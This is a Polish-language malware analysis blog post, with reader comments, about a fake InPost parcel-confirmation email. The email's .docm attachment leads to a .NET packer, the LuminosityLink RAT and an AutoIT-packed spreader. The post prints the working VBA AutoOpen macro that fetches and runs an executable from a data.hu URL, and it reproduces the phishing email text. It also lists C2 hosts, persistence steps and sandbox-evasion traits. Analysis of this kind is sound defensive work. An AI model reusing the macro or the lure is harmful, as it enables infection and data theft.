Otrzymujemy różne wyrazy uznania – podziękowania, gratulacje czasem komplementy, jednak najciekawsze są te pochodzące od przestępców – jak w poniższym przykładzie, gdzie złośliwe oprogramowanie blokuje ofiarom dostęp do z3s.
Ostatnio do laboratorium ZaufanejTrzeciejStrony trafiła wiadomość e-mail pochodząca rzekomo z InPost, która udawała potwierdzenie odbioru paczki z Paczkomatu. E-mail wyglądał dosyć wiarygodnie – używał szablonu, który jest zgodny z wiadomościami wysyłanymi z Paczkomatów oraz miał odpowiednio podrobiony nagłówek „From”. W połączeniu z coraz większą popularnością tej formy dostawy wielu użytkowników mogło dać się nabrać, że rzeczywiście jest to potwierdzenie paczki, którą odebrali albo ktoś zrobił to za nich. Sama wiadomość miała następującą treść:
Oceń dostawę!
Gratulujemy! Udało Ci się odebrać paczkę w 25.77 s
Numer paczki
665001299558260019953876
Szcegóły dotyczące przesyłki
znajdziesz w załączonym dokumencie:
Potwierdzenie odbioru paczki.docm.
Łączny czas doręczenia
21 godz.
Zawierała załącznik, w opisywanym już przez nas formacie DOCM. Spodziewaliśmy się, że to kolejny etap poprzedniej kampanii, ale zarówno makra jak i użyte oprogramowanie typu RAT wskazuje, że jest to nowa kampania. Oczywiście nie znaczy to, że atakujący jest inny – mógł przecież po prostu użyć nowych narzędzi do realizacji tych samych celów.
Od dokumentu do pierwszego etapu
Załączony plik o nazwie Potwierdzenie odbioru paczki.docm zawierał makra, do których uruchomienia użytkownik był zachęcany komunikatem przedstawionym poniżej.
Zawartość pliku DOCM
Makra zawierają kilka procedur. Pierwsza, która jest uruchamiana przy otwarciu pliku, odpowiada za pobranie i uruchomienie złośliwego oprogramowania z adresu
http://ddl7.data.hu/get/0/9413327/jkwldl.exe
Plik jest zapisany pod losową nazwą pięcioznakową (za to odpowiada funkcja Als) w katalogu tymczasowym.
Sub AutoOpen()
Adres$ = "http://ddl7.data.hu/get/0/9413327/jkwldl.exe"
GDZIE = Environ("Temp") & "\" & Als(5) & ".exe"
DownloadStatus = URLDownloadToFile(0, Adres, GDZIE, 0, 0)
Shell GDZIE, vbNormalFocus
End Sub
Jak widać nazwy zmiennych są zapisane po polsku, co znowu może świadczyć o tym, że atakujący nie ma problemów z posługiwaniem się naszym językiem. Druga ciekawa procedura nazywa się „Auto_Open” (ze znakiem podkreślenia) i byłaby uruchomiona, gdyby dokument był plikiem programu Microsoft Excel. Wyświetla ona okno dialogowe z częścią tekstu „Lorem Ipsum”. Znajduje się tam również procedura przepisana najprawdopodobniej z samouczka, która jest odpowiedzialna za wyświetlenie okna dialogowego z przykładowym pytaniem. Obie procedury nie są nigdzie wywoływane.
Pobrany plik to bardzo prosty i krótki kawałek kodu napisany w .NET. Jedynym jego zadaniem jest wydobycie zasobu zapisanego w pliku oraz uruchomienie go w bieżącym kontekście. Poniżej kod realizujący to zadanie.
Fragment kodu uruchamiający jeden z zasobów
Jak widać po odczytaniu zasobu i przepisaniu go do innej tablicy program rzuca wyjątek. Ten wyjątek jest przechwytywany i jego obsługa polega na uruchomieniu właśnie wydobytego kodu w tym samym kontekście. Zasób, o którym mowa, jest zserializowanym łańcuchem znaków. Proces serializacji w tym przypadku polega na przekształceniu obiektu do formy pliku XML, która opisuje wszystkie jego właściwości. Zatem autor tego złośliwego oprogramowania zapisał plik PE w pliku XML (ałć…).
Matrioszki, matrioszki, aż tu nagle…
Drugi etap to packer należący do kategorii RunPE napisany też w .NET. Zawiera on kilka ciekawych funkcji, które mają służyć utrudnieniu jego analizy:
- Usuwa plik ADS z przyrostkiem „:Zone.Identifier”, który jest wykorzystywany przez system Windows do oznaczania niezaufanych plików (np. tych pobranych z sieci Internet), aby ostrzec użytkownika przed ich uruchomieniem.
- Dodaje zadanie systemowe uruchamiane przy logowaniu, które dba o to, aby złośliwe oprogramowanie uruchamiało się wraz ze startem systemu. Jest to realizowane przez zapisanie pliku ousVHVWeF.vbs w katalogu danych aplikacji i następnie uruchomienie tego skryptu za pomocą programu explorer.exe. Zadanie systemowe nosi nazwę „Proces Wykonawczy”
- Odszyfrowuje za pomocą algorytmu AES-256 kod kolejnego etapu złośliwego oprogramowania i wstrzykuje go w obecny proces.
Implementacja procedury tworzenia hasła w algorytmie deszyfrowania AES ma ciekawy błąd typu off-by-one. Hasło jest tworzone przez wyliczenie skrótu MD5 z podanego łańcucha znaków. Następnie ten 16-bajtowy skrót jest kopiowany dwa razy, aby stworzyć 32-bajtowe hasło. Jednak przy kopiowaniu autor podał zły indeks (15 zamiast 16), co powoduje, że tak naprawdę ostatni bajt hasła jest zawsze zerowy, a ostatni bajt MD5 występuje w haśle tylko raz. Błąd jest zaznaczony w poniższym kodzie na zielono.
Błąd w algorytmie tworzenia hasła
Co więcej, ten sposób tworzenia hasła zmniejsza jakość szyfrowania. Klucz staje się de facto 16 bajtowy, więc tak naprawdę siła szyfrowania jest taka jak w przypadku AES-128.
Ten packer ma też dodatkowe funkcje, które w tym przypadku nie były wykorzystane, jak:
- Dodawanie wyjątku do zapory sieciowej systemu Windows pozwalającego obecnemu procesowi łączyć się z siecią Internet. Wyjątek jest opisany jako „Windows Messanger”.
- Wykrywanie uruchomienia w środowisku maszyny wirtualnej za pomocą analizy nazwy karty graficznej.
- Wykrywanie uruchomienia w Sandboxie.
Skonfundowany LuminosityLink RAT
Rozszyfrowany plik PE to zaciemnione złośliwe oprogramowanie o nazwie LuminosityLink RAT. To oprogramowanie wyciekło jakiś czas temu, więc jest już dostępne za darmo, ale można też je kupić za 40 dolarów (płatne w Bitcoinach). Analizowana próbka została zaciemniona za pomocą narzędzia opartego o ConfuserEx v0.4.0. Główne sposoby zaciemnienia kodu to zmiana nazw klasy, zmiennych, funkcji oraz zaciemnienie używanych stałych.
LuminosityLink RAT posiada następujące funkcje:
- kradzież haseł zapisanych w przeglądarkach internetowych,
- możliwość rejestrowania obrazu z kamery internetowej,
- podmiana adresów serwerów DNS oraz zawartości pliku etc/hosts,
- łączenie się do zainfekowanej maszyny za pomocą RDP,
- funkcja reverse proxy – przesyłanie swojego ruchu sieciowego w celu anonimizacji przez zainfekowaną maszynę,
- przeszukiwanie i kradzież plików o określonych nazwach,
- pobranie dodatkowego złośliwego oprogramowania,
- logowanie naciśniętych klawiszy,
- przeprowadzenie różnych rodzajów ataków DDoS,
- blacklistowanie określonych procesów po nazwie (np. programów antywirusowych) – ta funkcja jest reklamowana jako „Anti-Malware Protection”,
- odinstalowanie się.
Zrzut jednego z ekranów konfiguracyjnych LuminosityLink RAT
Konfiguracja tego narzędzia RAT jest zaszyfrowana za pomocą tej samej implementacji AES-256 jak w przypadku RunPE, z tym samym błędem. Tym razem łańcuch znaków na podstawie którego tworzone jest hasło to:
This confi'g contains nothing useful. Quit acting as if you're cool by decrypting it.
Odszyfrowana konfiguracja zdradza nam następujące informacje:
- Serwer zarządzający botnetu jest zlokalizowany pod adresem ns01.d-n-s.name – wybranym zapewne ze względu na nazwę przypominającym nazwy serwerów NS. Używany port to TCP/1410.
- Identyfikator botnetu to 1FIRMYPACZKO – wskazujący na kampanię, z której pochodzi infekcja.
- Adres serwera dropzone – miejsca, gdzie wrzucane są pliki wykradzione z komputera ofiary – to abw.serveftp.com i rozwiazuje się na ten sam adres IP (185.17.1.7) co domena serwera C&C.
- Zapisana jest też nazwa pliku – csrss.exe – oraz nazwa zadania – Proces Wykonawczy klienta/serwera – które będzie uruchamiane przy starcie systemu, tak, aby złośliwe oprogramowanie przetrwało ponowne uruchomienie systemu operacyjnego. Warto zauważyć, że zadanie zostało już dodane drugi raz – pierwszy raz zrobił to packer RunPE.
Oprócz tego konfiguracja zawiera też klucz AES, którym jest szyfrowana komunikacja z serwerem C&C. Przy pierwszym połączeniu do serwera C&C jest wysyłana rozszerzona konfiguracja, która zawiera między innymi listę plików poszukiwanych na dysku zainfekowanego użytkownika: zdrapki.txt (prawdopodobnie w celu kradzieży kodów z list haseł jednorazowych), przelewy.txt, mail.txt, smtp.txt, config.txt, pass.txt. Dodatkowo jest też przysyłana lista adresów dodawanych do etc/host w taki sposób, aby użytkownik nie mógł się z nimi połączyć. Wśród tych adresów są domeny należące do firm antywirusowych i zajmujących się bezpieczeństwem sieciowym. Adresów jest sporo, poniżej zamieszczamy jedynie te z domeny PL:
dobreprogramy.pl zaufanatrzeciastrona.pl eset.pl komputerswiat.pl kaspersky.pl www.kaspersky.pl www.dobreprogrogramy.pl
Pobierany i uruchamiany jest też plik spod adresu
http://ddl3.data.hu/get/0/9411213/mpc.exe
Dodatkowe złośliwe oprogramowanie w AutoIT
W pobieranym pliku wykonywalnym napisanym w AutoIT znajduje się kolejne złośliwe oprogramowanie, podwójnie spakowane i uruchamiany za pomocą techniki process hollowing. Co ciekawe po drodze są też pozostałości po jeszcze innym (już trzecim) złośliwym oprogramowaniu typu RAT, które miało się łączyć do ns01.d-n-s.name i umożliwiać ataki DDoS. Na tym etapie analizy myślę, że Xzibit nie powstydziłby się autorstwa tej kampanii.
Adekwatny komentarz
Wróćmy jednak do analizy programu, który był dwukrotnie spakowany skryptami AutoIT. Jest to modularne złośliwe oprogramowanie napisane w języku Visual Basic. Poniżej znajduje się lista załączonych modułów, z których tylko część jest uruchomiona.
Moduły złośliwego oprogramowania
Większość łańcuchów znaków występujących w tym złośliwym oprogramowaniu pochodzi z języka hiszpańskiego. Moduł „mobBotkiller” stara się wykryć następujące złośliwe oprogramowanie działające na komputerze ofiary:
- Darkcomet RAT
- Andromeda
- Citadel/Zeus
- Carbon Botnet
- Carper Botnet
- Carbon Botnet
- AthenaIRC
- Cybergate RAT
- AlienSpy RAT
- Cerberus RAT
- Blackshades RAT
- Coolvibes RAT
- DNA RAT
- Nanocore RAT
- Pandora RAT
- Bozok RAT
- Xtreme RAT
- Spynet RAT
- Albertino RAT
- Albertino Simple RAT
- Torjan RAT
- Novalite RAT
- Pytho RAT
Do wykrywania używane są ogólnie znane wskaźniki infekcji: łańcuchy znaków w pamięci procesów, obecność odpowiednich plików na dysku etc. Takie działanie wynika z chęci wyeliminowania konkurencji ze strony innych atakujących.
Kolejny moduł, modSpreader, odpowiada za rozprzestrzenianie się złośliwego oprogramowania przez nośniki wymienne, Facebooka oraz Twittera. Odbywa się to w bardzo prosty sposób. W przypadku nośników wymiennych tworzony jest plik autorun.inf, który przy odpowiedniej konfiguracji może spowodować automatyczne uruchomienie pliku wykonywalnego po włożeniu do gniazda USB pamięci przenośnej. Dodawana jest również akcja „Open USB”, która wyświetli się w menu kontekstowym po kliknięciu prawym przyciskiem myszy na pamięć przenośną. Rozprzestrzenianie się przez Facebooka czy Twittera odbywa się za pomocą otwarcia przeglądarki na odpowiedniej stronie internetowej a następnie symulacji wciśnięcia odpowiedniej kombinacji klawiszy TAB oraz ENTER tak, aby dostać się do okna wpisywania wiadomości. Większość osób jest na stałe zalogowana do tych serwisów, więc po otwarciu przeglądarki złośliwe oprogramowanie ma bezpośredni dostęp do ich konta i może podszywać się pod użytkownika.
W części odpowiadającej obsłudze serwisu Twitter jest błąd, który uniemożliwia prawidłowy rozrost infekcji. Oprogramowanie symuluje naciśniecie klawisza „n” (tworzenie nowej wiadomości), wpisuje wiadomość, a następnie symuluje sekwencję „TAB + TAB + TAB + ENTER”, która do niedawna powodowała wysłanie wiadomości. Twitter wprowadził jednak niedawno dodatkową funkcję – głosowania – która powoduje, że klawisz TAB trzeba nacisnąć cztery, a nie trzy razy, zatem wiadomość nie zostanie wysłana.
Podsumowanie
Jak widać autorowi tej kampanii nie brakowało dostępnego złośliwego oprogramowania – w przeciwieństwie do sensownego pomysłu na jego użycie. Cały atak jest losowym zlepkiem wielu RATów, języków programowania, metod zaciemniania i szyfrowania kodu. Pozorna złożoność nie świadczy o zaawansowaniu technicznym atakującego – bardziej mówi o jego zagubieniu w świecie przestępczych technologii. Dużo lepiej wyszło mu stworzenie samej wiadomości, od której zaczynał się atak. Bez względu jednak na użyte w tym wypadku narzędzia efekt ataku jest taki sam jak zawsze – przejęcie pełnej kontroli nad komputerem użytkownika i jego zasobami.
Komentarze
O! Znowu mi przypomnieliście o Windows Update. Trochę tego było.
Jak sobie poradziliście z rozpakowywaniem ConfuserEx?
Nie chcę ujawniać szczegółów, więc odpowiem tajemniczo. Czasami łatwiej jest pokonać przeszkodę po prostu ją obchodząc :)
Mmm tajemnica rozpakowanego exe czy nierozpakowana tajemnica? Tajemnicze z was typki :P hehe
To ty Bart? Fajnie że nadal żyjesz ;) Ostatnio przeglądałem Twoje stare tutki i bartpaki, miło powspominać stare czasy. Napisał byś jakiś nowy tutorial od czasu do czasu albo jakieś crackme.
dziwi brak niebezpiecznika:p A może ta kampania jest powiązana z nimi?
Już raz „wymyślili” infekcję swoich czytelników … dla żartu (do dziś się z niego nie wytłumaczyli)
powiedz więcej
Mówisz o tym dopisywaniu fb do hosts? Przecież to porażka była i chyba tylko gimbaza dała się nabrać?
Znów Thomas?
@piatkosia niebezpiecznik juz dawno przestal byc niebezpieczny, teraz robia tylko fejm w tv
Aż tak was nie lubią? Z tego co widzę to opłaca się pracować na wirtualce – połowa malware’u się po prostu nie uruchomi :D (może nie jak Qubes ale coś w ten deseń)
AutoITa udało się zdekompilować?
Tak, udało się zdekompilować wszystkie AutoITy :)
@aqz: Ja zadam pytanie odwrotne. Czy da się tak skonfigurować normalną stację roboczą w ten sposób, aby dla wszelkiego softu ( w tym malware) wyglądałaby jak maszyna wirtualna?
Oczywiście, że tak.
Wystarczy, że zainstalujesz fizyczną maszynę, a na niej wirtualkę.
dzieki za kolejny techniczny art!
Wy i Sekurak trzymacie w tym kraju piękny poziom.
Ze świecą szukać.
czekam na następne ;)
Tak i przynajmniej pozwalają wspomnieć o innych portalach. Widocznie nie muszą się bać porównania.
Łukasz jeśli to nie tajemnica mam pytanie, ile masz lat? Jaką szkołę/uczelnię trzeba skończyć żeby dysponować taką wiedzą. Pozdrawiam serdecznie!
Raczej w szkołach nie uczą takich rzeczy.
Cześć Artur :)
Mój wiek jak i moja tożsamość nie są zbyt dużą tajemnicą – zbliżam się bardzo szybko do trzydziestki :)
Skończona szkoła naprawdę nie ma znaczenia, bo i byłoby dużo zawiedzionych studentów, gdy na studiach uczyli Reversowania. Nauczyłem się tego co umiem w pracy i po godzinach, bo mi się RE spodobało. Nie mam jakiejś specjalnej metody – po prostu szukasz próbek i analizujesz. Jak czegoś nie wiesz to zostaje Internet/książki.
Pozdrawiam i do pracy :P
swietna analiza Łukaszu. wiecej takich artow! brawo! moze wiecej na temat narzedzi do dekompilacji? ze screena widze ze do dekompilacji .NET uzywasz Reflectora, a pozostale narzedzia? Kiedy obiecana analiza krok po kroku? ;)
Dziękuję :)
Akurat w tym przypadku użyłem ILSpy (http://ilspy.net/), Reflectora już dawno nie ma ;) Pozostałe narzędzia to głównie na prędce napisane skrypty w Pythonie korzystające z monodis/resgen.
BTW, nie przypominam sobie, żebym obiecał analizę krok po kroku :P
Reflectora nie ma? Może nie ma darmowej wersji, ale komercyjna jest i ma się całkiem dobrze
https://www.red-gate.com/products/dotnet-development/reflector/
Sorry, racja, nieprecyzyjnie się wyraziłem :)
Tak się zastanawiam po przeczytaniu tego artykułu… a może jakiś konkurs na najlepszego wirusa? Np. mi sporo by dało gdybym miał możliwość przeczytania tego co sam zrobiłem. Takie legalne zawody pt. kto sprytniejszy – analiza i tworzenie złośliwego oprogramowania.
to może spróbuj sekurak’owego serwisu https://rozwal.to
Bardzo dobra analiza! Nie wiem, czy Łukasz jest nowym autorem na Z3S, ale nieźle mu idzie :) Jak na mój gust trochę za dużo szczegółów technicznych i gimbusy będą próbowały brać przykład lub autor tego śmiecia może udoskonalić działanie. Bardzo podoba mi się też wasza umiejętność używania języka polskiego dla opisania zawiłości technicznych (gdzie się da). Tego nie potrafi pewien portal rozpaczliwie próbujący deptać wam po piętach (a pies ich obfuskował). Gratulacje! :D
„Bardzo podoba mi się też wasza umiejętność używania języka polskiego dla opisania zawiłości technicznych (gdzie się da). Tego nie potrafi pewien portal rozpaczliwie próbujący deptać wam po piętach (a pies ich obfuskował). Gratulacje! :D”
Po trzykroć potwierdzam.
Ciekawy artykuł, dzięki.
Mam jedno pytanie, bo padły tu już komentarze odnośnie artylerii większego kalibru, czyli wirtualek – czy opisywany i jemu podobny malware radzi sobie z Sandboxie?
To ja zacytuję:
„Ten packer ma też dodatkowe funkcje, które w tym przypadku nie były wykorzystane, jak (…) [w]ykrywanie uruchomienia w Sandboxie.”
:)
Bardziej chodziło mi o możliwości tego typu oprogramowania w kwestii wyjścia z Sandboxie. Jeśli wykrywa i się nie uruchamia, to pół biedy :)
Jeśli chodzi o to konkretne to nie zawiera żadnego exploita umożliwiającego mu wyjście z Sandboxie. Co oczywiście nie oznacza, że nie istnieje malware, który tego nie umie :)
Ze względu na to,że jestem w tej kwestii na poziomie bliskim wciąż lamera więc grzecznie zapytam: jeśli nie Sandbox – to co ??? ___ Kolejna kwestia to rozszyfrowanie kodu – nawet osłabiony AES to jednak AES,a nawet 120 bitów to przecież nie kaszka z mleczkiem ___ Teoretycznie widzę oczywiście rozwiązanie obu rzeczy i to nawet proste (choć karkołomne i napawające mnie lekkim wstrętem do jego realizacji pomimo końca epoki CIHów) – zainfekować testowy system na „normalnym” komputerze i pozwolić wirusowi działać, regularnie zrzucać też pamięć i obraz nośnika. Dobrze myślę,czy robi się to jednak inaczej ?
Rzeczywiście zawsze istnieje jakieś ryzyko że malware wyskoczy z Guesta . Dla tego podczas tworzenia laboratorium powinno się takie możliwości uwzględniać i bez względu na to czy tworzymy je w oparciu o wirtualną infrastrukturę czy prawdziwe komputery (bo takie podejście również istnieje) to lab powinien zawsze znajdować się w odseparowanej sieci (co oczywiście takie ryzyka minimalizuje).
To że w wielu przypadkach się nie znajduje to już osobna historia :)